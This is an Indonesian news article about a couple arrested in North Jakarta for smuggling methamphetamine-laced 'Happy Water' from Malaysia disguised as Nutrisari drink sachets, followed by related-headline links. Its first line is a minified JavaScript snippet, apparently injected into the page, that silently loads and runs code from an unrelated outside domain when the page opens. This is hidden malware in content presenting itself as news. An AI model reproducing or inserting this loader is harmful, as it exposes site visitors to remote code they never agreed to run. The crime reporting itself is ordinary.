(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
JAKARTA, Sepasang kekasih pengedar narkoba berinisial T dan B melakukan kamuflase narkoba yang diedarkan mereka dalam bungkus minuman Nutrisari Premium ala Jus Mangga saset. Kepala Badan Narkotika Nasional Kota Jakarta Utara AKBP Yuanita Amelia Sari mengatakan, kemasan Nutrisari yang digunakan oleh kedua pelaku bentuknya hampir dan tidak berbeda dengan kemasan yang dijual di pasaran.
“Kalau dilihat perbandingan Nutrisari asli dan Nutrisari yang kami dapatkan secara kemasan, ini hampir sama. Tetapi setelah kami buka, ada perbedaan warna,” kata Yuanita dalam konferensi pers, Kamis (14/3) dilansir Kompas.com.
Berdasarkan pengamatan Kompas.com, serbuk minuman sari buah tersebut berwarna oranye terang. Sedangkan serbuk narkoba yang mengandung metamphetamine dan benzoate itu berwarna oranye kemerahan.
Yuanita menuturkan, barang haram tersebut diproduksi di Malaysia sekaligus dengan kemasannya yang dibuat sepersis mungkin dengan kemasan asli, lengkap dengan nomor registrasi BPOM dan detail lainnya.
Ia mengatakan, bentuk kemasan itu dibuat selayaknya kemasan aslinya guna mengecoh petugas bandara. Sebab, barang haram tersebut diselundupkan dari Malaysia lewat jalur udara. “Sudah tiga kali mereka mengambil dari Malaysia dengan pesawat udara. Karena ini modus baru, ditaruh biasa di dalam koper seperti kita biasa membeli dan itu tidak terlacak karena secara kasat mata ini seperti biasa,” ujar Yuanita.
Diberitakan sebelumnya, BNNK Jakarta Utara membekuk sepasang kekasih pengedar narkoba yang kedapatan mempunyai 26 saset Nutrisari Premium ala Jus Mangga berisi narkoba yang mengandung methamphetamine dan benzoate.
Yuanita menyebut, narkoba itu juga dikemas dalam kemasan minuman sari buah yang sama dengan rasa berbeda, seperti rasa jeruk, jambu, dan apel “Efek yang ditimbulkan seperti mengonsumsi inex atau ekstasi. Barang bukti ini sering disebut dengan nama Happy Water,” ujar Yuanita.
Akibat perbuatannya, T dan B diancam Pasal 114 ayat 2 Jo Pasal 132 ayat 1 dan Pasal 112 ayat 2 Jo Pasal 132 ayat 1 Undang-Undang Nomor 35 Tahun 2009 tentang Narkotika dengan ancaman hukuman maksimal hukuman mati.(ard/kom)
KANALKALIMANTAN.COM, BANJARMASIN - Tahapan Pemilihan Kepala Daerah (Pilkada) Serentak 2024 sudah berjalan, salah satu komponen… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru menempatkan dana hibah daerah senilai Rp3 miliar untuk… Read More
KANALKALIMANTAN.COM, AMUNTAI - Sebanyak 134 warga menerima penghargaan dari Pemerintah Kabupaten (Pemkab) Hulu Sungai Utara… Read More
KANALKALIMANTAN.COM, AMUNTAI – “Jum’at Berbagi” menjadi salah satu program yang dijalankan Satuan Pembinaan Masyarakat (Sat… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pelaksanaan Pemilihan Kepala Daerah (Pilkada) 2024 di Kota Banjarbaru sedikit berbeda daripada… Read More
Koalisi PPP-PKB Cukup untuk Pencalonan Aditya, Pasangan Pendamping Belum Ada Read More
This website uses cookies.